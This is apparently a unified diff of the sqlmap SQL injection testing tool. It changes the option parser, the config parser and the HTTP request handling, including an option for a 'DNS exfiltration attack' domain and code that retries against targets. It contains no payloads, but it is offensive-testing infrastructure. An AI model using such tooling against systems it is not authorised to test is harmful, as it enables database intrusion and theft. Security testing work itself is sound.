|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
@@ -152,15 +152,6 @@ def cmdLineParser(argv=None):
|
||||
request.add_option("--ignore-401", dest="ignore401", action="store_true",
|
||||
help="Ignore HTTP Error 401 (Unauthorized)")
|
||||
|
||||
request.add_option("--ignore-proxy", dest="ignoreProxy", action="store_true",
|
||||
help="Ignore system default proxy settings")
|
||||
|
||||
request.add_option("--ignore-redirects", dest="ignoreRedirects", action="store_true",
|
||||
help="Ignore redirection attempts")
|
||||
|
||||
request.add_option("--ignore-timeouts", dest="ignoreTimeouts", action="store_true",
|
||||
help="Ignore connection timeouts")
|
||||
|
||||
request.add_option("--proxy", dest="proxy",
|
||||
help="Use a proxy to connect to the target URL")
|
||||
|
||||
@@ -171,6 +162,9 @@ def cmdLineParser(argv=None):
|
||||
request.add_option("--proxy-file", dest="proxyFile",
|
||||
help="Load proxy list from a file")
|
||||
|
||||
request.add_option("--ignore-proxy", dest="ignoreProxy", action="store_true",
|
||||
help="Ignore system default proxy settings")
|
||||
|
||||
request.add_option("--tor", dest="tor",
|
||||
action="store_true",
|
||||
help="Use Tor anonymity network")
|
||||
@@ -267,10 +261,7 @@ def cmdLineParser(argv=None):
|
||||
help="Skip testing for given parameter(s)")
|
||||
|
||||
injection.add_option("--skip-static", dest="skipStatic", action="store_true",
|
||||
help="Skip testing parameters that not appear to be dynamic")
|
||||
|
||||
injection.add_option("--param-exclude", dest="paramExclude",
|
||||
help="Regexp to exclude parameters from testing (e.g. \"ses\")")
|
||||
help="Skip testing parameters that not appear dynamic")
|
||||
|
||||
injection.add_option("--dbms", dest="dbms",
|
||||
help="Force back-end DBMS to this value")
|
||||
@@ -370,7 +361,7 @@ def cmdLineParser(argv=None):
|
||||
techniques.add_option("--union-from", dest="uFrom",
|
||||
help="Table to use in FROM part of UNION query SQL injection")
|
||||
|
||||
techniques.add_option("--dns-domain", dest="dnsDomain",
|
||||
techniques.add_option("--dns-domain", dest="dnsName",
|
||||
help="Domain name used for DNS exfiltration attack")
|
||||
|
||||
techniques.add_option("--second-order", dest="secondOrder",
|
||||
@@ -482,10 +473,10 @@ def cmdLineParser(argv=None):
|
||||
help="Use WHERE condition while table dumping")
|
||||
|
||||
enumeration.add_option("--start", dest="limitStart", type="int",
|
||||
help="First dump table entry to retrieve")
|
||||
help="First query output entry to retrieve")
|
||||
|
||||
enumeration.add_option("--stop", dest="limitStop", type="int",
|
||||
help="Last dump table entry to retrieve")
|
||||
help="Last query output entry to retrieve")
|
||||
|
||||
enumeration.add_option("--first", dest="firstChar", type="int",
|
||||
help="First query output word character to retrieve")
|
||||
@@ -738,6 +729,10 @@ def cmdLineParser(argv=None):
|
||||
action="store_true",
|
||||
help="Work in offline mode (only use session data)")
|
||||
|
||||
miscellaneous.add_option("--page-rank", dest="pageRank",
|
||||
action="store_true",
|
||||
help="Display page rank (PR) for Google dork results")
|
||||
|
||||
miscellaneous.add_option("--purge-output", dest="purgeOutput",
|
||||
action="store_true",
|
||||
help="Safely remove all content from output directory")
|
||||
@@ -756,9 +751,6 @@ def cmdLineParser(argv=None):
|
||||
miscellaneous.add_option("--tmp-dir", dest="tmpDir",
|
||||
help="Local directory for storing temporary files")
|
||||
|
||||
miscellaneous.add_option("--web-root", dest="webRoot",
|
||||
help="Web server document root directory (e.g. \"/var/www\")")
|
||||
|
||||
miscellaneous.add_option("--wizard", dest="wizard",
|
||||
action="store_true",
|
||||
help="Simple wizard interface for beginner users")
|
||||
@@ -776,9 +768,6 @@ def cmdLineParser(argv=None):
|
||||
parser.add_option("--disable-precon", dest="disablePrecon", action="store_true",
|
||||
help=SUPPRESS_HELP)
|
||||
|
||||
parser.add_option("--disable-stats", dest="disableStats", action="store_true",
|
||||
help=SUPPRESS_HELP)
|
||||
|
||||
parser.add_option("--profile", dest="profile", action="store_true",
|
||||
help=SUPPRESS_HELP)
|
||||
|
||||
@@ -899,12 +888,6 @@ def cmdLineParser(argv=None):
|
||||
for i in xrange(len(argv)):
|
||||
if argv[i] == "-hh":
|
||||
argv[i] = "-h"
|
||||
elif len(argv[i]) > 1 and all(ord(_) in xrange(0x2018, 0x2020) for _ in ((argv[i].split('=', 1)[-1].strip() or ' ')[0], argv[i][-1])):
|
||||
dataToStdout("[!] copy-pasting illegal (non-console) quote characters from Internet is, well, illegal (%s)\n" % argv[i])
|
||||
raise SystemExit
|
||||
elif len(argv[i]) > 1 and u"\uff0c" in argv[i].split('=', 1)[-1]:
|
||||
dataToStdout("[!] copy-pasting illegal (non-console) comma characters from Internet is, well, illegal (%s)\n" % argv[i])
|
||||
raise SystemExit
|
||||
elif re.search(r"\A-\w=.+", argv[i]):
|
||||
dataToStdout("[!] potentially miswritten (illegal '=') short option detected ('%s')\n" % argv[i])
|
||||
raise SystemExit
|
||||
@@ -917,7 +900,7 @@ def cmdLineParser(argv=None):
|
||||
elif argv[i] == "--version":
|
||||
print VERSION_STRING.split('/')[-1]
|
||||
raise SystemExit
|
||||
elif argv[i] in ("-h", "--help"):
|
||||
elif argv[i] == "-h":
|
||||
advancedHelp = False
|
||||
for group in parser.option_groups[:]:
|
||||
found = False
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
@@ -14,14 +14,13 @@ from lib.core.common import UnicodeRawConfigParser
|
||||
from lib.core.data import cmdLineOptions
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
from lib.core.enums import OPTION_TYPE
|
||||
from lib.core.exception import SqlmapMissingMandatoryOptionException
|
||||
from lib.core.exception import SqlmapSyntaxException
|
||||
from lib.core.optiondict import optDict
|
||||
|
||||
config = None
|
||||
|
||||
def configFileProxy(section, option, datatype):
|
||||
def configFileProxy(section, option, boolean=False, integer=False):
|
||||
"""
|
||||
Parse configuration file and save settings into the configuration
|
||||
advanced dictionary.
|
||||
@@ -31,12 +30,10 @@ def configFileProxy(section, option, datatype):
|
||||
|
||||
if config.has_option(section, option):
|
||||
try:
|
||||
if datatype == OPTION_TYPE.BOOLEAN:
|
||||
if boolean:
|
||||
value = config.getboolean(section, option) if config.get(section, option) else False
|
||||
elif datatype == OPTION_TYPE.INTEGER:
|
||||
elif integer:
|
||||
value = config.getint(section, option) if config.get(section, option) else 0
|
||||
elif datatype == OPTION_TYPE.FLOAT:
|
||||
value = config.getfloat(section, option) if config.get(section, option) else 0.0
|
||||
else:
|
||||
value = config.get(section, option)
|
||||
except ValueError, ex:
|
||||
@@ -94,4 +91,8 @@ def configFileParser(configFile):
|
||||
for family, optionData in optDict.items():
|
||||
for option, datatype in optionData.items():
|
||||
datatype = unArrayizeValue(datatype)
|
||||
configFileProxy(family, option, datatype)
|
||||
|
||||
boolean = datatype == "boolean"
|
||||
integer = datatype == "integer"
|
||||
|
||||
configFileProxy(family, option, boolean, integer)
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
+1
-1
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
+3
-11
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
@@ -102,7 +102,7 @@ def forgeHeaders(items=None):
|
||||
message = "you provided a HTTP %s header value. " % HTTP_HEADER.COOKIE
|
||||
message += "The target URL provided its own cookies within "
|
||||
message += "the HTTP %s header which intersect with yours. " % HTTP_HEADER.SET_COOKIE
|
||||
message += "Do you want to merge them in further requests? [Y/n] "
|
||||
message += "Do you want to merge them in futher requests? [Y/n] "
|
||||
_ = readInput(message, default="Y")
|
||||
kb.mergeCookies = not _ or _[0] in ("y", "Y")
|
||||
|
||||
@@ -168,8 +168,6 @@ def checkCharEncoding(encoding, warn=True):
|
||||
encoding = encoding.replace("8858", "8859") # iso-8858 -> iso-8859
|
||||
elif "8559" in encoding:
|
||||
encoding = encoding.replace("8559", "8859") # iso-8559 -> iso-8859
|
||||
elif "8895" in encoding:
|
||||
encoding = encoding.replace("8895", "8859") # iso-8895 -> iso-8859
|
||||
elif "5889" in encoding:
|
||||
encoding = encoding.replace("5889", "8859") # iso-5889 -> iso-8859
|
||||
elif "5589" in encoding:
|
||||
@@ -316,12 +314,6 @@ def decodePage(page, contentEncoding, contentType):
|
||||
page = re.sub(r"&([^;]+);", lambda _: chr(htmlEntities[_.group(1)]) if htmlEntities.get(_.group(1), 256) < 256 else _.group(0), page)
|
||||
|
||||
kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page))
|
||||
|
||||
if kb.pageEncoding and kb.pageEncoding.lower() == "utf-8-sig":
|
||||
kb.pageEncoding = "utf-8"
|
||||
if page and page.startswith("\xef\xbb\xbf"): # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling)
|
||||
page = page[3:]
|
||||
|
||||
page = getUnicode(page, kb.pageEncoding)
|
||||
|
||||
# e.g. ’…™
|
||||
@@ -371,7 +363,7 @@ def processResponse(page, responseHeaders):
|
||||
if readInput(msg, default='N').strip().upper() != 'Y':
|
||||
continue
|
||||
conf.paramDict[PLACE.POST][name] = value
|
||||
conf.parameters[PLACE.POST] = re.sub("(?i)(%s=)[^&]+" % re.escape(name), r"\g<1>%s" % re.escape(value), conf.parameters[PLACE.POST])
|
||||
conf.parameters[PLACE.POST] = re.sub("(?i)(%s=)[^&]+" % name, r"\g<1>%s" % value, conf.parameters[PLACE.POST])
|
||||
|
||||
if not kb.captchaDetected and re.search(r"(?i)captcha", page or ""):
|
||||
for match in re.finditer(r"(?si)<form.+?</form>", page):
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
@@ -144,9 +144,6 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
|
||||
kb.matchRatio = ratio
|
||||
logger.debug("setting match ratio for current parameter to %.3f" % kb.matchRatio)
|
||||
|
||||
if kb.testMode:
|
||||
threadData.lastComparisonRatio = ratio
|
||||
|
||||
# If it has been requested to return the ratio and not a comparison
|
||||
# response
|
||||
if getRatioValue:
|
||||
|
||||
+51
-100
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
@@ -31,7 +31,6 @@ from extra.safe2bin.safe2bin import safecharencode
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import asciifyUrl
|
||||
from lib.core.common import calculateDeltaSeconds
|
||||
from lib.core.common import checkSameHost
|
||||
from lib.core.common import clearConsoleLine
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import evaluateCode
|
||||
@@ -91,7 +90,6 @@ from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE
|
||||
from lib.core.settings import MAX_CONNECTION_CHUNK_SIZE
|
||||
from lib.core.settings import MAX_CONNECTIONS_REGEX
|
||||
from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE
|
||||
from lib.core.settings import MAX_CONSECUTIVE_CONNECTION_ERRORS
|
||||
from lib.core.settings import MAX_MURPHY_SLEEP_TIME
|
||||
from lib.core.settings import META_REFRESH_REGEX
|
||||
from lib.core.settings import MIN_TIME_RESPONSES
|
||||
@@ -146,9 +144,9 @@ class Connect(object):
|
||||
if kb.testMode and kb.previousMethod == PAYLOAD.METHOD.TIME:
|
||||
# timed based payloads can cause web server unresponsiveness
|
||||
# if the injectable piece of code is some kind of JOIN-like query
|
||||
warnMsg = "most likely web server instance hasn't recovered yet "
|
||||
warnMsg = "most probably web server instance hasn't recovered yet "
|
||||
warnMsg += "from previous timed based payload. If the problem "
|
||||
warnMsg += "persists please wait for a few minutes and rerun "
|
||||
warnMsg += "persists please wait for few minutes and rerun "
|
||||
warnMsg += "without flag 'T' in option '--technique' "
|
||||
warnMsg += "(e.g. '--flush-session --technique=BEUS') or try to "
|
||||
warnMsg += "lower the value of option '--time-sec' (e.g. '--time-sec=2')"
|
||||
@@ -252,7 +250,7 @@ class Connect(object):
|
||||
timeout = kwargs.get("timeout", None) or conf.timeout
|
||||
auxHeaders = kwargs.get("auxHeaders", None)
|
||||
response = kwargs.get("response", False)
|
||||
ignoreTimeout = kwargs.get("ignoreTimeout", False) or kb.ignoreTimeout or conf.ignoreTimeouts
|
||||
ignoreTimeout = kwargs.get("ignoreTimeout", False) or kb.ignoreTimeout
|
||||
refreshing = kwargs.get("refreshing", False)
|
||||
retrying = kwargs.get("retrying", False)
|
||||
crawling = kwargs.get("crawling", False)
|
||||
@@ -267,7 +265,7 @@ class Connect(object):
|
||||
url = urlparse.urljoin(conf.url, url)
|
||||
|
||||
# flag to know if we are dealing with the same target host
|
||||
target = checkSameHost(url, conf.url)
|
||||
target = reduce(lambda x, y: x == y, map(lambda x: urlparse.urlparse(x).netloc.split(':')[0], [url, conf.url or ""]))
|
||||
|
||||
if not retrying:
|
||||
# Reset the number of connection retries
|
||||
@@ -374,7 +372,9 @@ class Connect(object):
|
||||
|
||||
# Reset header values to original in case of provided request file
|
||||
if target and conf.requestFile:
|
||||
headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie})
|
||||
headers = OrderedDict(conf.httpHeaders)
|
||||
if cookie:
|
||||
headers[HTTP_HEADER.COOKIE] = cookie
|
||||
|
||||
if auxHeaders:
|
||||
for key, value in auxHeaders.items():
|
||||
@@ -395,7 +395,6 @@ class Connect(object):
|
||||
|
||||
if websocket_:
|
||||
ws = websocket.WebSocket()
|
||||
ws.settimeout(timeout)
|
||||
ws.connect(url, header=("%s: %s" % _ for _ in headers.items() if _[0] not in ("Host",)), cookie=cookie) # WebSocket will add Host field of headers automatically
|
||||
ws.send(urldecode(post or ""))
|
||||
page = ws.recv()
|
||||
@@ -473,7 +472,7 @@ class Connect(object):
|
||||
return conn, None, None
|
||||
|
||||
# Get HTTP response
|
||||
if hasattr(conn, "redurl"):
|
||||
if hasattr(conn, 'redurl'):
|
||||
page = (threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO\
|
||||
else Connect._connReadProxy(conn)) if not skipRead else None
|
||||
skipLogTraffic = kb.redirectChoice == REDIRECTION.NO
|
||||
@@ -481,54 +480,43 @@ class Connect(object):
|
||||
else:
|
||||
page = Connect._connReadProxy(conn) if not skipRead else None
|
||||
|
||||
if conn:
|
||||
code = conn.code
|
||||
responseHeaders = conn.info()
|
||||
responseHeaders[URI_HTTP_HEADER] = conn.geturl()
|
||||
else:
|
||||
code = None
|
||||
responseHeaders = {}
|
||||
|
||||
code = code or conn.code
|
||||
responseHeaders = conn.info()
|
||||
responseHeaders[URI_HTTP_HEADER] = conn.geturl()
|
||||
page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
|
||||
status = getUnicode(conn.msg) if conn else None
|
||||
status = getUnicode(conn.msg)
|
||||
|
||||
kb.connErrorCounter = 0
|
||||
if extractRegexResult(META_REFRESH_REGEX, page) and not refreshing:
|
||||
refresh = extractRegexResult(META_REFRESH_REGEX, page)
|
||||
|
||||
if not refreshing:
|
||||
refresh = responseHeaders.get(HTTP_HEADER.REFRESH, "").split("url=")[-1].strip()
|
||||
debugMsg = "got HTML meta refresh header"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
if extractRegexResult(META_REFRESH_REGEX, page):
|
||||
refresh = extractRegexResult(META_REFRESH_REGEX, page)
|
||||
if kb.alwaysRefresh is None:
|
||||
msg = "sqlmap got a refresh request "
|
||||
msg += "(redirect like response common to login pages). "
|
||||
msg += "Do you want to apply the refresh "
|
||||
msg += "from now on (or stay on the original page)? [Y/n]"
|
||||
choice = readInput(msg, default="Y")
|
||||
|
||||
debugMsg = "got HTML meta refresh header"
|
||||
logger.debug(debugMsg)
|
||||
kb.alwaysRefresh = choice not in ("n", "N")
|
||||
|
||||
if refresh:
|
||||
if kb.alwaysRefresh is None:
|
||||
msg = "sqlmap got a refresh request "
|
||||
msg += "(redirect like response common to login pages). "
|
||||
msg += "Do you want to apply the refresh "
|
||||
msg += "from now on (or stay on the original page)? [Y/n]"
|
||||
choice = readInput(msg, default="Y")
|
||||
if kb.alwaysRefresh:
|
||||
if re.search(r"\Ahttps?://", refresh, re.I):
|
||||
url = refresh
|
||||
else:
|
||||
url = urlparse.urljoin(url, refresh)
|
||||
|
||||
kb.alwaysRefresh = choice not in ("n", "N")
|
||||
threadData.lastRedirectMsg = (threadData.lastRequestUID, page)
|
||||
kwargs['refreshing'] = True
|
||||
kwargs['url'] = url
|
||||
kwargs['get'] = None
|
||||
kwargs['post'] = None
|
||||
|
||||
if kb.alwaysRefresh:
|
||||
if re.search(r"\Ahttps?://", refresh, re.I):
|
||||
url = refresh
|
||||
else:
|
||||
url = urlparse.urljoin(url, refresh)
|
||||
|
||||
threadData.lastRedirectMsg = (threadData.lastRequestUID, page)
|
||||
kwargs["refreshing"] = True
|
||||
kwargs["url"] = url
|
||||
kwargs["get"] = None
|
||||
kwargs["post"] = None
|
||||
|
||||
try:
|
||||
return Connect._getPageProxy(**kwargs)
|
||||
except SqlmapSyntaxException:
|
||||
pass
|
||||
try:
|
||||
return Connect._getPageProxy(**kwargs)
|
||||
except SqlmapSyntaxException:
|
||||
pass
|
||||
|
||||
# Explicit closing of connection object
|
||||
if conn and not conf.keepAlive:
|
||||
@@ -599,7 +587,7 @@ class Connect(object):
|
||||
processResponse(page, responseHeaders)
|
||||
elif ex.code == httplib.GATEWAY_TIMEOUT:
|
||||
if ignoreTimeout:
|
||||
return None if not conf.ignoreTimeouts else "", None, None
|
||||
return None, None, None
|
||||
else:
|
||||
warnMsg = "unable to connect to the target URL (%d - %s)" % (ex.code, httplib.responses[ex.code])
|
||||
if threadData.retriesCount < conf.retries and not kb.threadException:
|
||||
@@ -632,16 +620,8 @@ class Connect(object):
|
||||
kb.responseTimes.clear()
|
||||
|
||||
if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
|
||||
singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS/IDS) is dropping 'suspicious' requests")
|
||||
singleTimeWarnMessage("there is a possibility that the target (or WAF) is dropping 'suspicious' requests")
|
||||
warnMsg = "connection timed out to the target URL"
|
||||
elif "Connection reset" in tbMsg:
|
||||
if not conf.disablePrecon:
|
||||
singleTimeWarnMessage("turning off pre-connect mechanism because of connection reset(s)")
|
||||
conf.disablePrecon = True
|
||||
|
||||
if kb.testMode:
|
||||
singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS/IDS) is resetting 'suspicious' requests")
|
||||
warnMsg = "connection reset to the target URL"
|
||||
elif "URLError" in tbMsg or "error" in tbMsg:
|
||||
warnMsg = "unable to connect to the target URL"
|
||||
match = re.search(r"Errno \d+\] ([^>]+)", tbMsg)
|
||||
@@ -668,25 +648,13 @@ class Connect(object):
|
||||
if "BadStatusLine" not in tbMsg and any((conf.proxy, conf.tor)):
|
||||
warnMsg += " or proxy"
|
||||
|
||||
with kb.locks.connError:
|
||||
kb.connErrorCounter += 1
|
||||
|
||||
if kb.connErrorCounter >= MAX_CONSECUTIVE_CONNECTION_ERRORS and kb.connErrorChoice is None:
|
||||
message = "there seems to be a continuous problem with connection to the target. "
|
||||
message += "Are you sure that you want to continue "
|
||||
message += "with further target testing? [y/N] "
|
||||
kb.connErrorChoice = readInput(message, default="N") in ("Y", "y")
|
||||
|
||||
if kb.connErrorChoice is False:
|
||||
raise SqlmapConnectionException(warnMsg)
|
||||
|
||||
if silent:
|
||||
return None, None, None
|
||||
elif "forcibly closed" in tbMsg:
|
||||
logger.critical(warnMsg)
|
||||
return None, None, None
|
||||
elif ignoreTimeout and any(_ in tbMsg for _ in ("timed out", "IncompleteRead")):
|
||||
return None if not conf.ignoreTimeouts else "", None, None
|
||||
return None, None, None
|
||||
elif threadData.retriesCount < conf.retries and not kb.threadException:
|
||||
warnMsg += ". sqlmap is going to retry the request"
|
||||
if not retrying:
|
||||
@@ -905,21 +873,18 @@ class Connect(object):
|
||||
uri = conf.url
|
||||
|
||||
if value and place == PLACE.CUSTOM_HEADER:
|
||||
if value.split(',')[0].capitalize() == PLACE.COOKIE:
|
||||
cookie = value.split(',', 1)[1]
|
||||
else:
|
||||
auxHeaders[value.split(',')[0]] = value.split(',', 1)[1]
|
||||
auxHeaders[value.split(',')[0]] = value.split(',', 1)[1]
|
||||
|
||||
if conf.csrfToken:
|
||||
def _adjustParameter(paramString, parameter, newValue):
|
||||
retVal = paramString
|
||||
match = re.search("%s=[^&]*" % re.escape(parameter), paramString)
|
||||
if match:
|
||||
retVal = re.sub(re.escape(match.group(0)), "%s=%s" % (parameter, newValue), paramString)
|
||||
retVal = re.sub(match.group(0), "%s=%s" % (parameter, newValue), paramString)
|
||||
else:
|
||||
match = re.search("(%s[\"']:[\"'])([^\"']+)" % re.escape(parameter), paramString)
|
||||
if match:
|
||||
retVal = re.sub(re.escape(match.group(0)), "%s%s" % (match.group(1), newValue), paramString)
|
||||
retVal = re.sub(match.group(0), "%s%s" % (match.group(1), newValue), paramString)
|
||||
return retVal
|
||||
|
||||
page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.method if conf.csrfUrl == conf.url else None, cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST))
|
||||
@@ -939,7 +904,7 @@ class Connect(object):
|
||||
for _ in conf.cj:
|
||||
if _.name == conf.csrfToken:
|
||||
token = _.value
|
||||
if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))):
|
||||
if not any (conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))):
|
||||
if post:
|
||||
post = "%s%s%s=%s" % (post, conf.paramDel or DEFAULT_GET_POST_DELIMITER, conf.csrfToken, token)
|
||||
elif get:
|
||||
@@ -1053,29 +1018,15 @@ class Connect(object):
|
||||
found = False
|
||||
value = getUnicode(value)
|
||||
|
||||
if kb.postHint and re.search(r"\b%s\b" % re.escape(name), post or ""):
|
||||
if kb.postHint in (POST_HINT.XML, POST_HINT.SOAP):
|
||||
if re.search(r"<%s\b" % re.escape(name), post):
|
||||
found = True
|
||||
post = re.sub(r"(?s)(<%s\b[^>]*>)(.*?)(</%s)" % (re.escape(name), re.escape(name)), "\g<1>%s\g<3>" % value, post)
|
||||
elif re.search(r"\b%s>" % re.escape(name), post):
|
||||
found = True
|
||||
post = re.sub(r"(?s)(\b%s>)(.*?)(</[^<]*\b%s>)" % (re.escape(name), re.escape(name)), "\g<1>%s\g<3>" % value, post)
|
||||
|
||||
regex = r"\b(%s)\b([^\w]+)(\w+)" % re.escape(name)
|
||||
if not found and re.search(regex, (post or "")):
|
||||
found = True
|
||||
post = re.sub(regex, "\g<1>\g<2>%s" % value, post)
|
||||
|
||||
regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(delimiter), re.escape(name), re.escape(delimiter))
|
||||
if not found and re.search(regex, (post or "")):
|
||||
found = True
|
||||
post = re.sub(regex, "\g<1>%s\g<3>" % value, post)
|
||||
|
||||
if re.search(regex, (get or "")):
|
||||
found = True
|
||||
get = re.sub(regex, "\g<1>%s\g<3>" % value, get)
|
||||
|
||||
if re.search(regex, (post or "")):
|
||||
found = True
|
||||
post = re.sub(regex, "\g<1>%s\g<3>" % value, post)
|
||||
|
||||
if re.search(regex, (query or "")):
|
||||
found = True
|
||||
uri = re.sub(regex.replace(r"\A", r"\?"), "\g<1>%s\g<3>" % value, uri)
|
||||
@@ -1102,7 +1053,7 @@ class Connect(object):
|
||||
elif kb.postUrlEncode:
|
||||
post = urlencode(post, spaceplus=kb.postSpaceToPlus)
|
||||
|
||||
if timeBasedCompare and not conf.disableStats:
|
||||
if timeBasedCompare:
|
||||
if len(kb.responseTimes.get(kb.responseTimeMode, [])) < MIN_TIME_RESPONSES:
|
||||
clearConsoleLine()
|
||||
|
||||
@@ -1184,7 +1135,7 @@ class Connect(object):
|
||||
warnMsg = "site returned insanely large response"
|
||||
if kb.testMode:
|
||||
warnMsg += " in testing phase. This is a common "
|
||||
warnMsg += "behavior in custom WAF/IPS/IDS solutions"
|
||||
warnMsg += "behavior in custom WAF/IDS/IPS solutions"
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
|
||||
if conf.secondOrder:
|
||||
|
||||
+4
-10
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
@@ -24,7 +24,6 @@ from lib.core.dicts import SQL_STATEMENTS
|
||||
from lib.core.enums import CUSTOM_LOGGING
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.enums import EXPECTED
|
||||
from lib.core.enums import TIMEOUT_STATE
|
||||
from lib.core.settings import UNICODE_ENCODING
|
||||
from lib.utils.timeout import timeout
|
||||
|
||||
@@ -52,18 +51,13 @@ def direct(query, content=True):
|
||||
start = time.time()
|
||||
|
||||
if not select and "EXEC " not in query.upper():
|
||||
timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None)
|
||||
_ = timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None)
|
||||
elif not (output and "sqlmapoutput" not in query and "sqlmapfile" not in query):
|
||||
output, state = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None)
|
||||
if state == TIMEOUT_STATE.NORMAL:
|
||||
hashDBWrite(query, output, True)
|
||||
elif state == TIMEOUT_STATE.TIMEOUT:
|
||||
conf.dbmsConnector.close()
|
||||
conf.dbmsConnector.connect()
|
||||
output = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None)
|
||||
hashDBWrite(query, output, True)
|
||||
elif output:
|
||||
infoMsg = "resumed: %s..." % getUnicode(output, UNICODE_ENCODING)[:20]
|
||||
logger.info(infoMsg)
|
||||
|
||||
threadData.lastQueryDuration = calculateDeltaSeconds(start)
|
||||
|
||||
if not output:
|
||||
|
||||
